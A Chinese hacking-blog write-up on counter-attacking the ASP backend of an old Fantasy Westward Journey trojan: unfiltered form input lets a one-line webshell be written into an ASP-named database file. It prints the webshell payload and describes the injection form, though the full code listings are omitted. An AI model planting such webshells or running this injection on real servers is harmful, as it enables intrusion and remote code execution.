探索黑客技术攻防,实战研究与安全创新

导航菜单

绝地反击,唧咕梦幻西游木马的噩梦

我平时也不怎么出去,所以就经常在家中学习asp。虽然以前也曾经学习过,但终究只是一些零零散散的知识,还是上不了台面。难得有机会,我肯定要从头到尾好好的学习一下。学习asp自然要参看别人写的源码来涨涨知识,当然你也不一定让一个初学者去看动易,动网那些绕来绕去的蝌蚪文般的代码吧!所以我就找了一个很简单的asp系统翻看起来,这个系统就是“唧咕梦幻西游木马 06.7.6版”的asp收信系统。虽然有点老了,但是我觉得对于我们来说学习还是不错的。不看不知道,一看吓一跳,这次竟然让我找出来唧咕梦幻木马的一个漏洞来!

1.漏洞分析

我们打开唧咕梦幻西游木马06.7.6版,点右下角的收信文件来生成一个asp.exe自解压文件,解压后就可以得到一套收信系统了。

图片8.png

我们先来看看这套系统出现漏洞的先决条件:他的数据库文件是以asp为后缀名的mdb数据库,文件名是access.asp。我想大家也都明白吧!如果在里面插入一句话木马,那我们就可以直接使用客户端连接上去了。当然了,我们如果想在里面插入一句话木马,首先我们就要分析一下属性系统中与数据库写入操作相关的asp文件才行。

经过我几分钟的查找,我确定了“jj.asp”文件就是数据库写入操作文件,其出现漏洞的主要代码如下。


在上边的代码中,前四句都是接收从表单中传递过来的username,password,server,ckpass的值并存入变量。接收完这些值之后,它使用了一个select case的判断语句,判断表单中action的值,如果action的值是saveup,则再使用一个if语句来判断username,password,server的值是否为空,如果不为空就向数据库写入数据。我们可以清楚地看到,从数据库的获取到数据的数据库写入,收信系统除了进行简单的空值判断外就根本没对提交的数据进行过滤,这样我们就可以向数据库文件access.asp插入一句话木马了。

2.编写提交页面

由于向“jj.asp”文件提交数据的是mm.exe文件,本人水平不怎么样,没有能力去反汇编它的提交数据,所以就自己试着做了一个htm提交的网页,几经周折最后终于做好了,全部的html代码如下:



因为收信系统中有判断空值的语句,当username,password,server的值都不为空才能将数据写入数据库,所以我就建立了对应的名字的文本框用来输入数据,使它们不为空。上面的操作都很容易,但是有一个问题却让我浪费了很多时间,那就是怎么去触发这个select case语句中的case saveup事件。因为只有触发了这个事件才能让数据写入数据库,所以这是一个很关键的问题。在经过我多次尝试后,我终于想出了一个很简单的方法,就是向表单中添加一个名字为action的单选按钮,并且把它的值设为saveup,同时调用checked把它选中。这样当jj.asp使用request(“action”)来获取action的值时,它得到的永远是saveup。虽然说方法是比较简单,有点弱智。但是不管白猫黑猫,能抓到老鼠就是好猫,所以这个笨方法,也就将就着用吧!

3.作战开始

漏洞找出来了,提交的网页也编写好了,那我们就要开始行动了,就用我的博客空间来做个演示吧!首先我们用记事本打开刚才制作的提交网页,把表单的提交路径换为jj.asp的网络路径并保存。然后打开这个网页,在第一个文本框中输入一句话木马,其他的文本框我们可以随便填写,但是不要再是一句话木马。我填的是海阳顶端的一句话木马”<%On Error Resume Next%><%execute request(“#”)%>”,这句木马是加了容错代码的,不会影响被插入页面的浏览。虽然我们现在插入的是数据库,加不加容错代码都无所谓,但还是和大家啰嗦一下吧!

图片13.png

输入完毕后点击提交按钮,好了,就会出现了错误!

图片14.png

但是不用担心,这个是正常现象,因为jj.asp文件中的select case 语句中除了case saveup事件外还有一个case saveck,上面给出了代码把它给省去了,我们没有向他提交值,所以它当然会报错,但事实上已经把一句话木马写入数据库了,我们就不管它错不错了。

本文为网络安全技术研究记录,文中技术研究环境为本地搭建或经过目标主体授权测试研究,内容已去除关键敏感信息和代码,以防止被恶意利用。文章内提及的漏洞均已修复,在挖掘、提交相关漏洞的过程中,应严格遵守相关法律法规。

相关推荐